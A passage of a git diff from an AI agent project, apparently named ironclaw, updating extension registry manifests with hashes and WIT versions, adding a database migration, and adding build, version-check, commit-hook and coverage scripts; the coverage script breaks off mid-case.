_ironclaw__run_commands() {
local commands; commands=()
@@ -2023,5 +2281,5 @@ _ironclaw__worker_commands() {
if [ "$funcstack[1]" = "_ironclaw" ]; then
_ironclaw "$@"
else
compdef _ironclaw ironclaw
(( $+functions[compdef] )) && compdef _ironclaw ironclaw
fi
+19
View File
@@ -0,0 +1,19 @@
-- Add wit_version column to wasm_tools for WIT interface version tracking
ALTER TABLE wasm_tools ADD COLUMN IF NOT EXISTS wit_version TEXT NOT NULL DEFAULT '0.1.0';
-- Create wasm_channels table for DB-stored channel extensions
CREATE TABLE IF NOT EXISTS wasm_channels (
id UUID PRIMARY KEY,
user_id TEXT NOT NULL,
name TEXT NOT NULL,
version TEXT NOT NULL DEFAULT '0.1.0',
wit_version TEXT NOT NULL DEFAULT '0.1.0',
description TEXT NOT NULL DEFAULT '',
wasm_binary BYTEA NOT NULL,
binary_hash BYTEA NOT NULL,
capabilities_json TEXT NOT NULL DEFAULT '{}',
status TEXT NOT NULL DEFAULT 'active',
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
CONSTRAINT unique_wasm_channel UNIQUE (user_id, name)
);
+16 -10
View File
@@ -1,31 +1,37 @@
{
"name": "discord",
"display_name": "Discord",
"display_name": "Discord Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Discord Gateway/Webhook channel for slash commands, buttons, and messages",
"keywords": ["messaging", "chat", "discord", "bot"],
"wit_version": "0.2.0",
"description": "Talk to your agent in Discord",
"keywords": [
"messaging",
"chat",
"discord",
"bot"
],
"source": {
"dir": "channels-src/discord",
"capabilities": "discord.capabilities.json",
"crate_name": "discord-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/discord-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "27d83724c22cac2658c5f4e04dfe761206270e65d599e8f08cc8148c3d9bbe86"
}
},
"auth_summary": {
"method": "manual",
"provider": "Discord",
"secrets": ["discord_bot_token"],
"secrets": [
"discord_bot_token"
],
"shared_auth": null,
"setup_url": "https://discord.com/developers/applications"
},
"tags": ["messaging"]
"tags": [
"messaging"
]
}
+18 -10
View File
@@ -1,31 +1,39 @@
{
"name": "slack",
"display_name": "Slack",
"display_name": "Slack Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Slack Events API channel for receiving and responding to Slack messages",
"keywords": ["messaging", "chat", "workspace", "slack"],
"wit_version": "0.2.0",
"description": "Talk to your agent in Slack",
"keywords": [
"messaging",
"chat",
"workspace",
"slack"
],
"source": {
"dir": "channels-src/slack",
"capabilities": "slack.capabilities.json",
"crate_name": "slack-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "600fdb6f25f42bd635d3cf28217778c780e781b780c7250a57bebcf889616209"
}
},
"auth_summary": {
"method": "manual",
"provider": "Slack",
"secrets": ["slack_bot_token", "slack_signing_secret"],
"secrets": [
"slack_bot_token",
"slack_signing_secret"
],
"shared_auth": null,
"setup_url": "https://api.slack.com/apps"
},
"tags": ["default", "messaging"]
"tags": [
"default",
"messaging"
]
}
+17 -10
View File
@@ -1,31 +1,38 @@
{
"name": "telegram",
"display_name": "Telegram",
"display_name": "Telegram Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Telegram Bot API channel for receiving and responding to messages",
"keywords": ["messaging", "bot", "chat", "telegram"],
"wit_version": "0.2.0",
"description": "Talk to your agent through a Telegram bot",
"keywords": [
"messaging",
"bot",
"chat",
"telegram"
],
"source": {
"dir": "channels-src/telegram",
"capabilities": "telegram.capabilities.json",
"crate_name": "telegram-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "1c3028052f680e2efa7d857d50bcb57dbc171ad197d2527875b9c3cd22f0c830"
}
},
"auth_summary": {
"method": "manual",
"provider": "Telegram",
"secrets": ["telegram_bot_token"],
"secrets": [
"telegram_bot_token"
],
"shared_auth": null,
"setup_url": "https://t.me/BotFather"
},
"tags": ["default", "messaging"]
"tags": [
"default",
"messaging"
]
}
+17 -10
View File
@@ -1,31 +1,38 @@
{
"name": "whatsapp",
"display_name": "WhatsApp",
"display_name": "WhatsApp Channel",
"kind": "channel",
"version": "0.1.0",
"description": "WhatsApp Cloud API channel for receiving and responding to messages",
"keywords": ["messaging", "chat", "whatsapp", "meta"],
"wit_version": "0.2.0",
"description": "Talk to your agent through WhatsApp",
"keywords": [
"messaging",
"chat",
"whatsapp",
"meta"
],
"source": {
"dir": "channels-src/whatsapp",
"capabilities": "whatsapp.capabilities.json",
"crate_name": "whatsapp-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/whatsapp-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "33ba508576bdcf757ba5d27a1c94fb9f3546bfe489adf68e5fb17db3b2db7bac"
}
},
"auth_summary": {
"method": "manual",
"provider": "Meta",
"secrets": ["whatsapp_access_token", "whatsapp_verify_token"],
"secrets": [
"whatsapp_access_token",
"whatsapp_verify_token"
],
"shared_auth": null,
"setup_url": "https://developers.facebook.com/apps/"
},
"tags": ["messaging"]
"tags": [
"messaging"
]
}
+16 -8
View File
@@ -3,29 +3,37 @@
"display_name": "GitHub",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "GitHub integration for issues, PRs, repos, and code search",
"keywords": ["git", "code", "issues", "pull-requests", "repositories"],
"keywords": [
"git",
"code",
"issues",
"pull-requests",
"repositories"
],
"source": {
"dir": "tools-src/github",
"capabilities": "github-tool.capabilities.json",
"crate_name": "github-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/github-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "d1305ad85a3722a1cfa7dbc8449ebb6c277083d887c513e6e4dd84814637dbcd"
}
},
"auth_summary": {
"method": "manual",
"provider": "GitHub",
"secrets": ["github_token"],
"secrets": [
"github_token"
],
"shared_auth": null,
"setup_url": "https://github.com/settings/tokens"
},
"tags": ["default", "development"]
"tags": [
"default",
"development"
]
}
+16 -8
View File
@@ -3,29 +3,37 @@
"display_name": "Gmail",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "Read, send, and manage Gmail messages and threads",
"keywords": ["email", "google", "mail", "messaging"],
"keywords": [
"email",
"google",
"mail",
"messaging"
],
"source": {
"dir": "tools-src/gmail",
"capabilities": "gmail-tool.capabilities.json",
"crate_name": "gmail-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/gmail-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "f0899b243cb175fcfc07f5a431abb28fac73fc6893c9932d32ce2bd17bc72763"
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"secrets": [
"google_oauth_token"
],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["default", "google", "messaging"]
"tags": [
"default",
"google",
"messaging"
]
}
+16 -8
View File
@@ -3,29 +3,37 @@
"display_name": "Google Calendar",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "Create, read, update, and delete Google Calendar events",
"keywords": ["calendar", "google", "scheduling", "events"],
"keywords": [
"calendar",
"google",
"scheduling",
"events"
],
"source": {
"dir": "tools-src/google-calendar",
"capabilities": "google-calendar-tool.capabilities.json",
"crate_name": "google-calendar-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-calendar-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "f236cd8b63aafc95fa5c7f6c9f4ef05d34273d34b4afeb3fde6af51f54fa1350"
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"secrets": [
"google_oauth_token"
],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["default", "google", "productivity"]
"tags": [
"default",
"google",
"productivity"
]
}
+15 -8
View File
@@ -3,29 +3,36 @@
"display_name": "Google Docs",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "Create and edit Google Docs documents",
"keywords": ["documents", "google", "writing", "docs"],
"keywords": [
"documents",
"google",
"writing",
"docs"
],
"source": {
"dir": "tools-src/google-docs",
"capabilities": "google-docs-tool.capabilities.json",
"crate_name": "google-docs-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-docs-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "37cecb81190703b010df11ad3b507ade570fa486c891b24f48105c34bc7a6f10"
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"secrets": [
"google_oauth_token"
],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["google", "productivity"]
"tags": [
"google",
"productivity"
]
}
+16 -8
View File
@@ -3,29 +3,37 @@
"display_name": "Google Drive",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "Upload, download, search, and manage Google Drive files and folders",
"keywords": ["storage", "google", "files", "drive"],
"keywords": [
"storage",
"google",
"files",
"drive"
],
"source": {
"dir": "tools-src/google-drive",
"capabilities": "google-drive-tool.capabilities.json",
"crate_name": "google-drive-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-drive-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "36d5116c7faaaf34b91f98e92573ed230ce0d85e261f05a996a02d14ae4715c4"
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"secrets": [
"google_oauth_token"
],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["default", "google", "storage"]
"tags": [
"default",
"google",
"storage"
]
}
+15 -8
View File
@@ -3,29 +3,36 @@
"display_name": "Google Sheets",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "Read and write Google Sheets spreadsheet data",
"keywords": ["spreadsheets", "google", "data", "sheets"],
"keywords": [
"spreadsheets",
"google",
"data",
"sheets"
],
"source": {
"dir": "tools-src/google-sheets",
"capabilities": "google-sheets-tool.capabilities.json",
"crate_name": "google-sheets-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-sheets-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "77c966f0e18faa2b43361ad8abe90144d53b163272e96d2ed5106f480e698d64"
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"secrets": [
"google_oauth_token"
],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["google", "productivity"]
"tags": [
"google",
"productivity"
]
}
+14 -8
View File
@@ -3,29 +3,35 @@
"display_name": "Google Slides",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "Create and edit Google Slides presentations",
"keywords": ["presentations", "google", "slides"],
"keywords": [
"presentations",
"google",
"slides"
],
"source": {
"dir": "tools-src/google-slides",
"capabilities": "google-slides-tool.capabilities.json",
"crate_name": "google-slides-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-slides-wasm32-wasip2.tar.gz",
"sha256": null
"sha256": "68365b764f2366142d1f5388189ab1bd7f826f4ac6540547efc6750bde1591d3"
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"secrets": [
"google_oauth_token"
],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["google", "productivity"]
"tags": [
"google",
"productivity"
]
}
-31
View File
@@ -1,31 +0,0 @@
{
"name": "okta",
"display_name": "Okta",
"kind": "tool",
"version": "0.1.0",
"description": "Okta SSO for user profile, app catalog, and SSO launch links",
"keywords": ["sso", "identity", "authentication", "okta"],
"source": {
"dir": "tools-src/okta",
"capabilities": "okta-tool.capabilities.json",
"crate_name": "okta-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/okta-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Okta",
"secrets": ["okta_oauth_token"],
"shared_auth": null,
"setup_url": "https://developer.okta.com/docs/guides/implement-oauth-for-okta/main/"
},
"tags": ["identity"]
}
+17 -11
View File
@@ -1,31 +1,37 @@
{
"name": "slack-tool",
"display_name": "Slack",
"display_name": "Slack Tool",
"kind": "tool",
"version": "0.1.0",
"description": "Post messages, read channels, and manage conversations via Slack API",
"keywords": ["messaging", "chat", "workspace"],
"wit_version": "0.2.0",
"description": "Your agent uses Slack to post and read messages in your workspace",
"keywords": [
"messaging",
"chat",
"workspace"
],
"source": {
"dir": "tools-src/slack",
"capabilities": "slack-tool.capabilities.json",
"crate_name": "slack-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
"sha256": null
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz",
"sha256": "600fdb6f25f42bd635d3cf28217778c780e781b780c7250a57bebcf889616209"
}
},
"auth_summary": {
"method": "oauth",
"provider": "Slack",
"secrets": ["slack_bot_token"],
"secrets": [
"slack_bot_token"
],
"shared_auth": null,
"setup_url": "https://api.slack.com/apps"
},
"tags": ["default", "messaging"]
"tags": [
"default",
"messaging"
]
}
+18 -11
View File
@@ -1,31 +1,38 @@
{
"name": "telegram-mtproto",
"display_name": "Telegram",
"display_name": "Telegram Tool",
"kind": "tool",
"version": "0.1.0",
"description": "Telegram user-mode integration via MTProto for messages and contacts",
"keywords": ["messaging", "chat", "telegram", "mtproto"],
"wit_version": "0.2.0",
"description": "Your agent uses your Telegram account to read and send messages",
"keywords": [
"messaging",
"chat",
"telegram",
"mtproto"
],
"source": {
"dir": "tools-src/telegram",
"capabilities": "telegram-tool.capabilities.json",
"crate_name": "telegram-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
"sha256": null
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz",
"sha256": "1c3028052f680e2efa7d857d50bcb57dbc171ad197d2527875b9c3cd22f0c830"
}
},
"auth_summary": {
"method": "manual",
"provider": "Telegram",
"secrets": ["telegram_api_id", "telegram_api_hash"],
"secrets": [
"telegram_api_id",
"telegram_api_hash"
],
"shared_auth": null,
"setup_url": "https://my.telegram.org/apps"
},
"tags": ["messaging"]
"tags": [
"messaging"
]
}
+38
View File
@@ -0,0 +1,38 @@
{
"name": "web-search",
"display_name": "Web Search",
"kind": "tool",
"version": "0.1.0",
"wit_version": "0.2.0",
"description": "Search the web using Brave Search API",
"keywords": [
"search",
"web",
"brave",
"internet"
],
"source": {
"dir": "tools-src/web-search",
"capabilities": "web-search-tool.capabilities.json",
"crate_name": "web-search-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/web-search-wasm32-wasip2.tar.gz",
"sha256": "8e62c9c3efaa90db92dbf421289cd9a8ba83a64613481d0f2bf9070f0403e801"
}
},
"auth_summary": {
"method": "manual",
"provider": "Brave",
"secrets": [
"brave_api_key"
],
"shared_auth": null,
"setup_url": "https://brave.com/search/api/"
},
"tags": [
"default",
"search"
]
}
+74
View File
@@ -0,0 +1,74 @@
#!/usr/bin/env bash
# Build all WASM tools and channels from source.
#
# Verifies that every tool/channel in the registry compiles against the
# current WIT definitions. Used by CI and can be run locally.
#
# Prerequisites:
# rustup target add wasm32-wasip2
# cargo install cargo-component --locked
#
# Usage:
# ./scripts/build-wasm-extensions.sh # build all
# ./scripts/build-wasm-extensions.sh --tools # tools only
# ./scripts/build-wasm-extensions.sh --channels # channels only
set -euo pipefail
cd "$(dirname "$0")/.."
BUILD_TOOLS=true
BUILD_CHANNELS=true
FAILED=()
if [[ "${1:-}" == "--tools" ]]; then
BUILD_CHANNELS=false
elif [[ "${1:-}" == "--channels" ]]; then
BUILD_TOOLS=false
fi
build_extension() {
local manifest_path="$1"
local source_dir
local crate_name
source_dir=$(jq -r '.source.dir' "$manifest_path")
crate_name=$(jq -r '.source.crate_name' "$manifest_path")
local name
name=$(basename "$manifest_path" .json)
if [ ! -d "$source_dir" ]; then
echo " SKIP $name (source dir $source_dir not found)"
return 0
fi
echo " BUILD $name ($crate_name) from $source_dir"
if ! cargo component build --release --manifest-path "$source_dir/Cargo.toml" 2>&1; then
echo " FAIL $name"
FAILED+=("$name")
return 1
fi
echo " OK $name"
}
if $BUILD_TOOLS; then
echo "Building WASM tools..."
for manifest in registry/tools/*.json; do
build_extension "$manifest" || true
done
fi
if $BUILD_CHANNELS; then
echo "Building WASM channels..."
for manifest in registry/channels/*.json; do
build_extension "$manifest" || true
done
fi
echo ""
if [ ${#FAILED[@]} -gt 0 ]; then
echo "FAILED: ${FAILED[*]}"
exit 1
else
echo "All WASM extensions built successfully."
fi
+251
View File
@@ -0,0 +1,251 @@
#!/usr/bin/env bash
set -euo pipefail
# CI script: check that version bumps accompany WIT or extension source changes.
# Exit 0 if all checks pass, exit 1 if any version wasn't bumped.
ERRORS=0
# --- Skip mechanism -----------------------------------------------------------
if [[ "${PR_LABELS:-}" == *"skip-version-check"* ]]; then
echo "skip-version-check label detected — skipping all version checks."
exit 0
fi
# Check commit messages for [skip-version-check]
if git log "origin/${GITHUB_BASE_REF:-main}...HEAD" --pretty=format:"%s %b" 2>/dev/null \
| grep -qF '[skip-version-check]'; then
echo "[skip-version-check] found in commit message — skipping all version checks."
exit 0
fi
# --- Determine base branch and changed files ----------------------------------
BASE_BRANCH="${GITHUB_BASE_REF:-main}"
echo "Base branch: $BASE_BRANCH"
# Ensure the base branch ref is available
if ! git rev-parse "origin/${BASE_BRANCH}" >/dev/null 2>&1; then
echo "Fetching origin/${BASE_BRANCH}..."
git fetch origin "$BASE_BRANCH" --depth=1
fi
CHANGED_FILES=$(git diff --name-only "origin/${BASE_BRANCH}...HEAD")
if [[ -z "$CHANGED_FILES" ]]; then
echo "No changed files detected. Nothing to check."
exit 0
fi
# --- Helper functions ---------------------------------------------------------
# Extract the version from a WIT package line like: package near:[email protected];
extract_wit_version() {
local file="$1"
if [[ ! -f "$file" ]]; then
echo ""
return
fi
sed -n 's/^[[:space:]]*package[[:space:]]\+[^@]*@\([0-9][0-9.]*[0-9]\)[[:space:]]*;.*/\1/p' "$file" \
| head -n1
}
# Extract version from the base branch copy of a file
extract_wit_version_base() {
local file="$1"
git show "origin/${BASE_BRANCH}:${file}" 2>/dev/null \
| sed -n 's/^[[:space:]]*package[[:space:]]\+[^@]*@\([0-9][0-9.]*[0-9]\)[[:space:]]*;.*/\1/p' \
| head -n1 || true
}
# Extract a Rust string constant value: pub const NAME: &str = "value";
extract_rust_const() {
local file="$1"
local const_name="$2"
if [[ ! -f "$file" ]]; then
echo ""
return
fi
sed -n "s/^.*${const_name}[[:space:]]*:[[:space:]]*&str[[:space:]]*=[[:space:]]*\"\([^\"]*\)\".*/\1/p" "$file" \
| head -n1
}
# Extract JSON "version" field using jq
extract_json_version() {
local file="$1"
if [[ ! -f "$file" ]]; then
echo ""
return
fi
jq -r '.version // empty' "$file" 2>/dev/null || true
}
# Extract JSON "version" from the base branch copy of a file
extract_json_version_base() {
local file="$1"
git show "origin/${BASE_BRANCH}:${file}" 2>/dev/null | jq -r '.version // empty' 2>/dev/null || true
}
# Return 0 if $1 (new) is strictly greater than $2 (old) via sort -V, or old is empty.
version_was_bumped() {
local new="$1"
local old="$2"
if [[ -z "$old" ]]; then
# No prior version — treat as new, no bump required
return 0
fi
if [[ -z "$new" ]]; then
# Version was removed — that's a problem
return 1
fi
if [[ "$new" == "$old" ]]; then
return 1
fi
# Check new > old via sort -V
local highest
highest=$(printf '%s\n%s\n' "$new" "$old" | sort -V | tail -n1)
[[ "$highest" == "$new" ]]
}
# --- 1. WIT changes ----------------------------------------------------------
WIT_TOOL_CHANGED=false
WIT_CHANNEL_CHANGED=false
if echo "$CHANGED_FILES" | grep -qx 'wit/tool\.wit'; then
WIT_TOOL_CHANGED=true
fi
if echo "$CHANGED_FILES" | grep -qx 'wit/channel\.wit'; then
WIT_CHANNEL_CHANGED=true
fi
if $WIT_TOOL_CHANGED; then
echo ""
echo "=== wit/tool.wit changed ==="
NEW_VER=$(extract_wit_version "wit/tool.wit")
OLD_VER=$(extract_wit_version_base "wit/tool.wit")
echo " WIT package version: ${OLD_VER:-<none>} -> ${NEW_VER:-<missing>}"
if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then
echo " ERROR: wit/tool.wit package version was not bumped (${OLD_VER} -> ${NEW_VER:-<missing>})."
ERRORS=$((ERRORS + 1))
else
echo " OK: WIT package version bumped."
fi
# Check WIT_TOOL_VERSION constant matches
CONST_VER=$(extract_rust_const "src/tools/wasm/mod.rs" "WIT_TOOL_VERSION")
if [[ -n "$NEW_VER" && "$CONST_VER" != "$NEW_VER" ]]; then
echo " ERROR: WIT_TOOL_VERSION in src/tools/wasm/mod.rs is '${CONST_VER}' but wit/tool.wit has '${NEW_VER}'. They must match."
ERRORS=$((ERRORS + 1))
elif [[ -n "$NEW_VER" ]]; then
echo " OK: WIT_TOOL_VERSION matches wit/tool.wit."
fi
fi
if $WIT_CHANNEL_CHANGED; then
echo ""
echo "=== wit/channel.wit changed ==="
NEW_VER=$(extract_wit_version "wit/channel.wit")
OLD_VER=$(extract_wit_version_base "wit/channel.wit")
echo " WIT package version: ${OLD_VER:-<none>} -> ${NEW_VER:-<missing>}"
if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then
echo " ERROR: wit/channel.wit package version was not bumped (${OLD_VER} -> ${NEW_VER:-<missing>})."
ERRORS=$((ERRORS + 1))
else
echo " OK: WIT package version bumped."
fi
# Check WIT_CHANNEL_VERSION constant matches
CONST_VER=$(extract_rust_const "src/tools/wasm/mod.rs" "WIT_CHANNEL_VERSION")
if [[ -n "$NEW_VER" && "$CONST_VER" != "$NEW_VER" ]]; then
echo " ERROR: WIT_CHANNEL_VERSION in src/tools/wasm/mod.rs is '${CONST_VER}' but wit/channel.wit has '${NEW_VER}'. They must match."
ERRORS=$((ERRORS + 1))
elif [[ -n "$NEW_VER" ]]; then
echo " OK: WIT_CHANNEL_VERSION matches wit/channel.wit."
fi
fi
if $WIT_TOOL_CHANGED || $WIT_CHANNEL_CHANGED; then
echo ""
echo " WARNING: WIT interface changed. All published registry extensions should bump their versions for compatibility."
fi
# --- 2. Tool source changes ---------------------------------------------------
TOOL_NAMES=$(echo "$CHANGED_FILES" | sed -n 's|^tools-src/\([^/]*\)/.*|\1|p' | sort -u)
if [[ -n "$TOOL_NAMES" ]]; then
echo ""
echo "=== Tool source changes ==="
fi
for tool in $TOOL_NAMES; do
REGISTRY_FILE="registry/tools/${tool}.json"
echo ""
echo " --- tools-src/${tool}/ changed ---"
if [[ ! -f "$REGISTRY_FILE" ]]; then
echo " SKIP: ${REGISTRY_FILE} does not exist yet (new extension?)."
continue
fi
NEW_VER=$(extract_json_version "$REGISTRY_FILE")
OLD_VER=$(extract_json_version_base "$REGISTRY_FILE")
echo " Registry version: ${OLD_VER:-<none>} -> ${NEW_VER:-<missing>}"
if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then
echo " ERROR: ${REGISTRY_FILE} version was not bumped (${OLD_VER} -> ${NEW_VER:-<missing>}). Bump the version when changing tools-src/${tool}/."
ERRORS=$((ERRORS + 1))
else
echo " OK: version bumped."
fi
done
# --- 3. Channel source changes ------------------------------------------------
CHANNEL_NAMES=$(echo "$CHANGED_FILES" | sed -n 's|^channels-src/\([^/]*\)/.*|\1|p' | sort -u)
if [[ -n "$CHANNEL_NAMES" ]]; then
echo ""
echo "=== Channel source changes ==="
fi
for channel in $CHANNEL_NAMES; do
REGISTRY_FILE="registry/channels/${channel}.json"
echo ""
echo " --- channels-src/${channel}/ changed ---"
if [[ ! -f "$REGISTRY_FILE" ]]; then
echo " SKIP: ${REGISTRY_FILE} does not exist yet (new extension?)."
continue
fi
NEW_VER=$(extract_json_version "$REGISTRY_FILE")
OLD_VER=$(extract_json_version_base "$REGISTRY_FILE")
echo " Registry version: ${OLD_VER:-<none>} -> ${NEW_VER:-<missing>}"
if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then
echo " ERROR: ${REGISTRY_FILE} version was not bumped (${OLD_VER} -> ${NEW_VER:-<missing>}). Bump the version when changing channels-src/${channel}/."
ERRORS=$((ERRORS + 1))
else
echo " OK: version bumped."
fi
done
# --- Summary ------------------------------------------------------------------
echo ""
if [[ $ERRORS -gt 0 ]]; then
echo "FAILED: ${ERRORS} version check(s) did not pass. See errors above."
exit 1
else
echo "All version checks passed."
exit 0
fi
+81
View File
@@ -0,0 +1,81 @@
#!/usr/bin/env bash
# commit-msg hook: require regression tests for fix commits.
#
# Installed by scripts/dev-setup.sh as .git/hooks/commit-msg.
# Bypass with [skip-regression-check] in the commit message.
set -euo pipefail
MSG_FILE="$1"
FIRST_LINE=$(head -1 "$MSG_FILE")
# --- 1. Is this a fix commit? ---
if ! grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$FIRST_LINE"; then
exit 0
fi
# --- 2. Skip marker ---
if grep -qF '[skip-regression-check]' "$MSG_FILE"; then
exit 0
fi
# --- 3. Exempt static-only / docs-only changes ---
# Get staged files (commit-msg runs after staging is finalized).
STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACMR)
if [ -z "$STAGED_FILES" ]; then
exit 0
fi
ALL_EXEMPT=true
while IFS= read -r file; do
case "$file" in
src/channels/web/static/*) ;;
*.md) ;;
*) ALL_EXEMPT=false; break ;;
esac
done <<< "$STAGED_FILES"
if [ "$ALL_EXEMPT" = true ]; then
exit 0
fi
# --- 4. Look for test changes in staged .rs files ---
# Fast path: new test attributes or test modules in added lines.
if git diff --cached -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
exit 0
fi
# Whole-function context: detect edits inside existing test functions.
# -W shows the full enclosing function, so #[test] appears in context
# lines when changes are inside a test function.
if git diff --cached -W -- '*.rs' | awk '
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
/^\+[^+]/ { has_add=1 }
END { if (has_test && has_add) found=1; exit !found }
'; then
exit 0
fi
# Also check for new/modified files under tests/
if grep -qE '^tests/' <<< "$STAGED_FILES"; then
exit 0
fi
# --- 5. No test found — block the commit ---
echo ""
echo "╔══════════════════════════════════════════════════════════════╗"
echo "║ REGRESSION TEST REQUIRED ║"
echo "║ ║"
echo "║ This commit looks like a bug fix but has no test changes. ║"
echo "║ Every fix should include a test that reproduces the bug. ║"
echo "║ ║"
echo "║ Options: ║"
echo "║ • Add a #[test] or #[tokio::test] that catches the bug ║"
echo "║ • Add [skip-regression-check] to your commit message ║"
echo "╚══════════════════════════════════════════════════════════════╝"
echo ""
exit 1
+101
View File
@@ -0,0 +1,101 @@
#!/usr/bin/env bash
# Generate an HTML coverage report for a given set of tests.
#
# Usage:
# ./scripts/coverage.sh # all tests (lib only)
# ./scripts/coverage.sh safety # tests matching "safety"
# ./scripts/coverage.sh safety::sanitizer # specific module tests
# ./scripts/coverage.sh test_a test_b test_c # multiple test filters
#
# Options (env vars):
# COV_OPEN=1 Auto-open the report in a browser (default: 1)
# COV_FORMAT=html Output format: html, text, json, lcov (default: html)
# COV_OUT=coverage Output directory (default: coverage/)
# COV_FEATURES="" Extra --features to pass (default: none)
# COV_ALL_TARGETS=0 Set to 1 to include integration tests (default: lib only)
#
# Requires: cargo-llvm-cov (install: cargo install cargo-llvm-cov)
set -euo pipefail
COV_OPEN="${COV_OPEN:-1}"
COV_FORMAT="${COV_FORMAT:-html}"
COV_OUT="${COV_OUT:-coverage}"
COV_FEATURES="${COV_FEATURES:-}"
COV_ALL_TARGETS="${COV_ALL_TARGETS:-0}"
cd "$(git rev-parse --show-toplevel)"
if ! command -v cargo-llvm-cov &>/dev/null; then
echo "ERROR: cargo-llvm-cov not found. Install with: cargo install cargo-llvm-cov"
exit 1
fi
# Clean stale profiling data to avoid "mismatched data" warnings.
cargo llvm-cov clean --workspace 2>/dev/null || true
# Build the cargo llvm-cov command
cmd=(cargo llvm-cov)
# Features
if [[ -n "$COV_FEATURES" ]]; then
cmd+=(--features "$COV_FEATURES")
else
cmd+=(--all-features)
fi
# By default, only run the lib unit tests (fast, no integration test compilation).
# Set COV_ALL_TARGETS=1 to include integration tests.
if [[ "$COV_ALL_TARGETS" != "1" ]]; then
cmd+=(--lib)
fi
# Output format
case "$COV_FORMAT" in
html)
cmd+=(--html --output-dir "$COV_OUT")
;;
text)
cmd+=(--text)
;;
json)
cmd+=(--json --output-path "$COV_OUT/coverage.json")
;;
lcov)
